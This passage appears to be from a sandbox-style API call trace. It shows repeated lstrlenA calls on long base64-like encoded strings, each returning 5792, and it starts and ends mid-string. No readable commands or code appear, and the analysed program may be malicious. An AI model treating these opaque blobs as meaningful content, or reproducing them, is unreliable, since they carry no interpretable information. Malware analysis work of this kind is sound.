XT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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